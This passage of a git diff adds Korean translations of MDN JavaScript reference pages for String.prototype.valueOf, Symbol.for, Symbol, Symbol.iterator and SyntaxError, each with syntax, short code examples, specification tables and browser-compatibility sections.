+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.trim")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/valueof/index.html b/files/ko/web/javascript/reference/global_objects/string/valueof/index.html
new file mode 100644
index 0000000000..e8e217d615
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/valueof/index.html
@@ -0,0 +1,83 @@
+---
+title: String.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/valueOf
+tags:
+  - 메서드
+  - 문자열
+  - 자바스크립트
+  - 참고
+  - 프로토타입
+translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>valueOf()</code></strong> 메서드는 {{jsxref("String")}} 객체의 원시값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-valueof.html")}}</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.valueOf()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정된 {{jsxref("String")}} 객체의 원시 값을 나타내는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("String")}} 의 <code>valueOf()</code> 메서드는 {{jsxref("String")}} 객체의 원시 값을 문자열 데이터 타입으로 반환 합니다. 이 값은 {{jsxref("String.prototype.toString()")}}.과 동일합니다.</p>
+
+<p>이 메서드는 보통 자바스크립트에 의해 내부적으로 호출되며, 코드에서 명시적으로 사용하지는 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="valueOf_사용">  <code>valueOf()</code> 사용</h3>
+
+<pre class="brush: js">var x = new String('Hello world');
+console.log(x.valueOf()); // 'Hello world' 가 보여집니다.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.1 에서 구현.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.3', 'String.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터로부터 생성됩니다. 만약 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 을 확인하시고 pull 요청을 보내주세요.</p>
+
+<p>{{Compat("javascript.builtins.String.valueOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toString()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/symbol/for/index.html b/files/ko/web/javascript/reference/global_objects/symbol/for/index.html
new file mode 100644
index 0000000000..e489deb27d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/symbol/for/index.html
@@ -0,0 +1,150 @@
+---
+title: Symbol.for()
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/for
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Symbol.for(key)</strong></code> 메소드는  runtime-wide 심볼 레지스트리에서 해당 키로 존재하는 심볼을 찾는다. 없으면 전역 심볼 레지시트리에  해당 키로 새로운 심볼을 만들어 준다.  </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>Symbol.for(key)</var>;</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>String, 필수. 심볼의 키 (심볼의 설명을 위해서도 쓰인다).</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>해당 키에 해당하는 심볼이 있다면 반환 없으면 새로운 심볼을 만들고 반환한다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Symbol()과는 다르게</code>, the <code>Symbol.for()</code> 함수는 전역 심볼 레지스트리 리스트에 심볼을 만든다. <code>Symbol.for()는 또한 매 호출마다 새로운 심볼을 만들지 않고 현재 레지스트리에 해당 키를 가진 심볼이 있는지 먼저 검사를 한다. 있다면 그 심볼을 반환한다. 만약 키에 해당하는 심볼이 없다면 </code>Symbol.for()는 새로운 전역 심볼을 만들 것이다.</p>
+
+<h3 id="전역_심볼_레지스트리">전역 심볼 레지스트리 </h3>
+
+<p>전역심볼 레지스트리는 다음 레코드 구조를 가진 리스트이고 초기 값은 비어 있다:</p>
+
+<p>전역심볼 레지스트리의 레코드</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>필드 명</th>
+   <th>값</th>
+  </tr>
+  <tr>
+   <td>[[key]]</td>
+   <td>심볼을 구분하기 위해 사용되는 문자열 키</td>
+  </tr>
+  <tr>
+   <td>[[symbol]]</td>
+   <td>전역으로 저장되는 심볼</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Symbol.for('foo'); // 새로운 전역심볼 생성
+Symbol.for('foo'); // 이미 만들어진 심볼을 검색
+
+// 전역심볼은 서로 같고, 지역심볼은 아니다.
+Symbol.for('bar') === Symbol.for('bar'); // true
+Symbol('bar') === Symbol('bar'); // false
+
+// 키는 설명하는데 쓰이기도 한다.
+var sym = Symbol.for('mario');
+sym.toString(); // "Symbol(mario)"
+</pre>
+
+<p>다른 라이브러리의 전역 심볼들과 당신의 전역 심볼간의 키 충돌을 피하기 위해서는 당신 심볼 앞에 prefix를 두는 것이 좋다:</p>
+
+<pre class="brush: js">Symbol.for('mdn.foo');
+Symbol.for('mdn.bar');
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.for', 'Symbol.for')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.for', 'Symbol.for')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(40) }}</td>
+   <td>{{ CompatGeckoDesktop("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.keyFor()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/symbol/index.html b/files/ko/web/javascript/reference/global_objects/symbol/index.html
new file mode 100644
index 0000000000..05b1fdd25b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/symbol/index.html
@@ -0,0 +1,233 @@
+---
+title: Symbol
+slug: Web/JavaScript/Reference/Global_Objects/Symbol
+tags:
+  - ECMAScript 2015
+  - 심볼
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
+---
+<div>{{JSRef}}</div>
+
+<p><code>Symbol()</code> 함수는 <strong>심볼(symbol)</strong> 형식의 값을 반환하는데, 이 심볼은 내장 객체(built-in objects)의 여러 멤버를 가리키는 정적 프로퍼티와 전역 심볼 레지스트리(global symbol registry)를 가리키는 정적 메서드를 가지며, "<code>new Symbol()</code>" 문법을 지원하지 않아 생성자 측면에서는 불완전한 내장 객체 클래스(built-in object class)와 유사합니다.</p>
+
+<p><code>Symbol()</code>로부터 반환되는 모든 심볼 값은 고유합니다. 심볼 값은 객체 프로퍼티(object properties)에 대한 식별자로 사용될 수 있습니다; 이것이 심볼 데이터 형식의 유일한 목적입니다. 목적과 용례에 대한 더 자세한 설명은 <a href="https://developer.mozilla.org/en-US/docs/Glossary/Symbol">용어집의 심볼 항목(glossary entry for Symbol)</a>에서 볼 수 있습니다.</p>
+
+<p><strong>심볼(symbol)</strong> 데이터 형은 원시 데이터 형({{Glossary("Primitive", "primitive data type")}})의 일종입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-constructor.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Symbol(<em>[description]</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>description</code> {{optional_inline}}</dt>
+ <dd>선택적(optional) 문자열. 디버깅에 사용할 수 있는 심볼에 대한 설명(description)으로 심볼 자체에 접근하는 용도로는 사용할 수 없음.</dd>
+</dl>
+
+<h2 id="설명(Description)">설명(Description)</h2>
+
+<p>새 원시(primitive) 심볼을 생성하려면, 심볼을 설명하는 선택적(optional) 문자열과 함께 <code>Symbol()</code>을 쓰면됩니다.</p>
+
+<pre class="brush: js">var sym1 = Symbol();
+var sym2 = Symbol("foo");
+var sym3 = Symbol("foo");
+</pre>
+
+<p>위의 코드는 세 개의 새 심볼을 생성합니다. <code>Symbol("foo")</code>는 "foo"라는 문자열을 심볼로 강제로 변환시키지 않는다는 점에 유의하시기 바랍니다. 해당 코드는 매 번 새로운 심볼을 생성합니다:</p>
+
+<pre class="brush: js">Symbol("foo") === Symbol("foo"); // false</pre>
+
+<p>아래 {{jsxref("Operators/new", "new")}} 연산자를 이용한 문법은 {{jsxref("TypeError")}}를 발생시킬 것입니다:</p>
+
+<pre class="brush: js">var sym = new Symbol(); // TypeError</pre>
+
+<p>이는 작성자가 새로운 심볼 값 대신 명시적으로 심볼 래퍼 객체(<code>Symbol</code> wrapper object)를 생성할 수 없게 합니다. 일반적으로 원시 데이터 형에 대한 명시적인 래퍼 객체 생성(예를 들어, <code>new Boolean</code>, <code>new String</code> 또는 <code>new Number</code>와 같은)이 가능하다는 점에 비춰보면 의외일 수 있습니다.</p>
+
+<p>꼭 심볼 래퍼 객체를 생성하고 싶다면, <code>Object()</code> 함수를 이용할 수 있습니다.</p>
+
+<pre class="brush: js">var sym = Symbol("foo");
+typeof sym;     // "symbol"
+var symObj = Object(sym);
+typeof symObj;  // "object"
+</pre>
+
+<h3 id="전역_심볼_레지스트리_내_공유_심볼">전역 심볼 레지스트리 내 공유 심볼</h3>
+
+<p><code>Symbol()</code> 함수를 사용한 위의 문법은 코드베이스(codebase) 전체에서 사용 가능한 전역 심볼을 생성하는 것은 아닙니다. 파일 간(across files), 또는 램(realms, 각각이 자체의 전역 범위(scope)를 가지는) 간에도 사용할 수 있는 심볼을 생성하기 위해서는, {{jsxref("Symbol.for()")}}와 {{jsxref("Symbol.keyFor()")}} 메서드를 이용해 전역 심볼 레지스트리에 심볼을 설정하거나 추출해야 합니다.</p>
+
+<h3 id="객체에서_심볼_속성(symbol_properties)_찾기">객체에서 심볼 속성(symbol properties) 찾기</h3>
+
+<p>{{jsxref("Object.getOwnPropertySymbols()")}} 메서드는 심볼의 배열을 반환하여 주어진 객체의 심볼 속성을 찾을 수 있게 해줍니다. 모든 객체는 스스로에 대한 심볼 속성이 없는 상태로 초기화되기 때문에 해당 객체에 심볼 속성을 설정하기 전까지는 빈 배열을 반환한다는 점에 유의하시기 바랍니다.</p>
+
+<h2 id="속성(properties)">속성(properties)</h2>
+
+<dl>
+ <dt><code>Symbol.length</code></dt>
+ <dd>값이 0인 길이 속성</dd>
+ <dt>{{jsxref("Symbol.prototype")}}</dt>
+ <dd><code>Symbol</code> 생성자의 프로토타입을 나타냄.</dd>
+</dl>
+
+<h3 id="잘_알려진_심볼들">잘 알려진 심볼들</h3>
+
+<p>여러분이 정의하는 심볼 외에, 자바스크립트는 ECMAScript 5와 그 이전 버전에서는 개발자에게 제공되지 않았던 언어 내부의 동작을 나타내는 내장(built-in) 심볼을 몇 가지 가지고 있습니다. 다음 속성을 이용해 이들 심볼에 접근할 수 있습니다:</p>
+
+<h4 id="반복(iteration)_심볼">반복(iteration) 심볼</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.iterator")}}</dt>
+ <dd>객체의 기본 반복자(default iterator)를 반환하는 메서드.<code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code>에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.asyncIterator")}} {{experimental_inline}}</dt>
+ <dd>객체의 기본 비동기 반복자(default AsyncIterator)를 반환하는 메서드. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await-of"><code>for await of</code></a>에서 사용됨.</dd>
+</dl>
+
+<h4 id="정규표현식_심볼">정규표현식 심볼</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.match")}}</dt>
+ <dd>문자열과 일치하는(match) 메서드로 객체를 정규표현식으로 사용할 수 있는지 확인하는데도 사용. {{jsxref("String.prototype.match()")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.replace")}}</dt>
+ <dd>문자열 중 일치하는 문자열 일부를 대체하는 메소드. {{jsxref("String.prototype.replace()")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.search")}}</dt>
+ <dd>문자열에서 정규표현식과 일치하는 인덱스(index)를 반환하는 메서드. {{jsxref("String.prototype.search()")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.split")}}</dt>
+ <dd>정규표현식과 일치하는 인덱스에서 문자열을 나누는 메서드. {{jsxref("String.prototype.split()")}}에서 사용됨.</dd>
+</dl>
+
+<h4 id="그_외_심볼들">그 외 심볼들</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.hasInstance")}}</dt>
+ <dd>생성자 객체(constructor object)가 어떤 객체를 자신의 인스턴스로 인식하는지를 확인하는데 사용하는 메소드. {{jsxref("Operators/instanceof", "instanceof")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt>
+ <dd>객체가 자신의 배열 요소를 직렬로(be flattened) 나타낼 수 있는지 여부를 나타내는 부울 값. {{jsxref("Array.prototype.concat()")}}에서 사용됨.</dd>
+ <dt>{{jsxref("Symbol.unscopables")}}</dt>
+ <dd>자신의 속성명 또는 상속된 속성명이 연관 객체(the associated objet)의 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> 환경 바인딩(envorinment bindings)에서 제외된 객체의 값 (An object value of whose own and inherited property names are excluded from the <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> environment bindings of the associated object).</dd>
+ <dt>{{jsxref("Symbol.species")}}</dt>
+ <dd>파생(derived) 객체를 생성하는데 사용되는 생성자 함수.</dd>
+ <dt>{{jsxref("Symbol.toPrimitive")}}</dt>
+ <dd>객체를 원시형(primitive) 값으로 변환하는 메서드.</dd>
+ <dt>{{jsxref("Symbol.toStringTag")}}</dt>
+ <dd>객체에 대한 기본 설명(description)으로 사용되는 문자열 값. {{jsxref("Object.prototype.toString()")}}에서 사용됨.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt>
+ <dd>주어진 키(key)로 현재 존재하는 심볼을 검색하고 찾으면 반환합니다. 존재하지 않으면 주어진 키로 전역 심볼 레지스트리에 새로운 심볼을 생성하고 그 심볼을 반환합니다.</dd>
+ <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt>
+ <dd>전역 심볼 레지스트리로부터 주어진 심볼에 대한 공유 심볼 키(shared symbol key)를 추출합니다.</dd>
+</dl>
+
+<h2 id="심볼(Symbol)_프로토타입"><code>심볼(Symbol)</code> 프로토타입</h2>
+
+<p>모든 심볼은 {{jsxref("Symbol.prototype")}}을 상속합니다.</p>
+
+<h3 id="속성(properties)_2">속성(properties)</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}</p>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="심볼에_typeof_연산자_사용">심볼에 <code>typeof</code> 연산자 사용</h3>
+
+<p>{{jsxref("Operators/typeof", "typeof")}} 연산자를 이용해 심볼인지 알 수 있습니다.</p>
+
+<pre class="brush: js">typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+</pre>
+
+<h3 id="심볼의_형_변환(type_conversions)">심볼의 형 변환(type conversions)</h3>
+
+<p>심볼의 형 변환(type conversion)할 때 유의해야 할 사항</p>
+
+<ul>
+ <li>심볼을 숫자(number)로 변환하고자 할 때, {{jsxref("TypeError")}}가 발생합니다.<br>
+  (e.g. <code>+sym</code> or <code>sym | 0</code>).</li>
+ <li>느슨한 동등(loose equality) 연산자를 사용할 때, <code>Object(sym) == sym</code>는 <code>true</code>를 반환합니다.</li>
+ <li><code>Symbol("foo") + "bar"</code>는 {{jsxref("TypeError")}} (심볼을 문자열로 변환할 수 없는)를 발생시킵니다. 이는 예를 들자면, 심볼에서 암묵적으로 새로운 문자열 속성명을 생성하지 못하게 합니다.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_conversion">"보다 안전한" String(sym) 변환("safer" <code>String(sym)</code> conversion)</a>은 심볼에 대해 {{jsxref("Symbol.prototype.toString()")}}을 호출하는 것과 같이 동작하지만, <code>new String(sym)</code>는 오류(error)를 발생시키는 것을 유의하시기 바랍니다.</li>
+</ul>
+
+<h3 id="심볼과_for...in_반복문">심볼과 <code>for...in</code> 반복문</h3>
+
+<p>심볼은 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> 반복문 내에서 하나씩 열거할 수 없습니다. 더구나, {{jsxref("Object.getOwnPropertyNames()")}}는 심볼 객체 속성(symbol object properties)을 반환하지 않습니다. 하지만, {{jsxref("Object.getOwnPropertySymbols()")}}를 이용해 이것들을 가져올 수 있습니다.</p>
+
+<pre class="brush: js">var obj = {};
+
+obj[Symbol("a")] = "a";
+obj[Symbol.for("b")] = "b";
+obj["c"] = "c";
+obj.d = "d";
+
+for (var i in obj) {
+   console.log(i); // logs "c" and "d"
+}</pre>
+
+<h3 id="심볼과_JSON.stringify()">심볼과 <code>JSON.stringify()</code></h3>
+
+<p>심볼을 키로 사용한 속성(symbol-keyed properties)은 <code>JSON.stringify()</code>을 사용할 때 완전히 무시됩니다:</p>
+
+<pre class="brush: js">JSON.stringify({[Symbol("foo")]: "foo"});
+// '{}'</pre>
+
+<p>더 자세한 것은 {{jsxref("JSON.stringify()")}}를 참조하시기 바랍니다.</p>
+
+<h3 id="속성_키로서의_심볼_래퍼_객체(symbol_wrapper_object)">속성 키로서의 심볼 래퍼 객체(symbol wrapper object)</h3>
+
+<p>심볼 래퍼 객체를 속성 키로 사용하면, 이 객체는 래핑된 심볼로 강제 변환됩니다(When a Symbol wrapper object is used as a property key, this object will be coerced to its wrapped symbol):</p>
+
+<pre class="brush: js">var sym = Symbol("foo");
+var obj = {[sym]: 1};
+obj[sym];            // 1
+obj[Object(sym)];    // still 1
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Symbol")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Glossary/Symbol">Glossary: Symbol data type</a></li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/">"ES6 In Depth: Symbols" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/symbol/iterator/index.html b/files/ko/web/javascript/reference/global_objects/symbol/iterator/index.html
new file mode 100644
index 0000000000..820e63d1cb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/symbol/iterator/index.html
@@ -0,0 +1,95 @@
+---
+title: Symbol.iterator
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/iterator
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/iterator
+---
+<div>{{JSRef}}</div>
+
+<p>잘 알려진 <code><strong>Symbol.iterator</strong></code> 심볼은 객체에 대응하는 기본 이터레이터를 지정합니다. <a href="/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a>와 같이 사용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-iterator.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>(<code>for..of</code> 루프의 시작부분과 같이) 객체가 반환될 필요가 있을때는 언제든지<code>@@iterator</code> 메서드는 인수 없이도 호출 할 수 있습니다. 반환된 <strong>iterator</strong>는 반복할 값을 취득하기 위해 사용됩니다.</p>
+
+<p>{{jsxref("Object")}}와 같이 반복동작을 내장하고 있는 형태도 있지만 그렇지 않은 경우도 있습니다. <code>@@iterator</code> 메서드를 가지고 있는 내장형 타입은 아래와 같습니다.</p>
+
+<ul>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
+
+<p>상세한 내용은 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">반복처리 프로토콜</a>도 확인 해 주시기 바랍니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유저_정의_이터레이터">유저 정의 이터레이터</h3>
+
+<p>앞에서 기술한 바와 같이 독자적으로 이터레이터를 만드는 것이 가능합니다.</p>
+
+<pre class="brush: js">var myIterable = {}
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...myIterable] // [1, 2, 3]
+</pre>
+
+<h3 id="비정형_이터레이터">비정형 이터레이터</h3>
+
+<p>iterable의 <code>@@iterator</code> 메서드가 이터레이터 객체를 반환하지 않는 경우 비정형 이터레이터입니다. 이와 같이 사용하는 경우 실행시 예외 혹은 예상치 못한 버그를 발생할 가능성이 있습니다.</p>
+
+<pre class="brush: js">var nonWellFormedIterable = {}
+nonWellFormedIterable[Symbol.iterator] = () =&gt; 1
+[...nonWellFormedIterable] // TypeError: [] is not a function
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상황</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.iterator', 'Symbol.iterator')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>초기 정의</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.iterator', 'Symbol.iterator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Symbol.iterator")}}</p>
+
+<h2 id="관련_정보">관련 정보</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">반복처리 프로토콜</a></li>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/syntaxerror/index.html b/files/ko/web/javascript/reference/global_objects/syntaxerror/index.html
new file mode 100644
index 0000000000..84ccc26908
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/syntaxerror/index.html
@@ -0,0 +1,123 @@
+---
+title: SyntaxError
+slug: Web/JavaScript/Reference/Global_Objects/SyntaxError
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>SyntaxError</strong></code> 객체는 문법적으로 유효하지 않은 코드를 해석하려고 시도할 때 발생하는 오류를 표현합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>SyntaxError</code>는 JavaScript 엔진이 코드를 분석할 때 문법을 준수하지 않은 코드를 만나면 발생합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>new SyntaxError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code><strong> {{optional_inline}}</strong></dt>
+ <dd>오류에 대한 설명.</dd>
+ <dt><code>fileName</code><strong> {{optional_inline}}</strong> {{non-standard_inline}}</dt>
+ <dd>예외가 발생한 코드를 담고 있는 파일의 이름.</dd>
+ <dt><code>lineNumber</code><strong> {{optional_inline}}</strong> {{non-standard_inline}}</dt>
+ <dd>예외가 발생한 코드의 라인 넘버.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("SyntaxError.prototype")}}</dt>
+ <dd><code>SyntaxError</code> 객체에 속성을 추가할 수 있도록 해주고 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>전역(global) <code>SyntaxError</code> 는 고유의 메소드를 가지고 있지 않지만, prototype chain을 통해 몇몇의 메소드를 상속 받습니다.</p>
+
+<h2 id="SyntaxError_인스턴스"><code>SyntaxError</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<div>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype', 'Properties')}}</div>
+
+<h3 id="메소드">메소드</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype', 'Methods')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="SyntaxError_잡기"><code>SyntaxError</code> 잡기</h3>
+
+<pre class="brush: js">try {
+  eval('hoo bar');
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "missing ; before statement"
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "Scratchpad/1"
+  console.log(e.lineNumber);             // 1
+  console.log(e.columnNumber);           // 4
+  console.log(e.stack);                  // "@Scratchpad/1:2:3\n"
+}
+</pre>
+
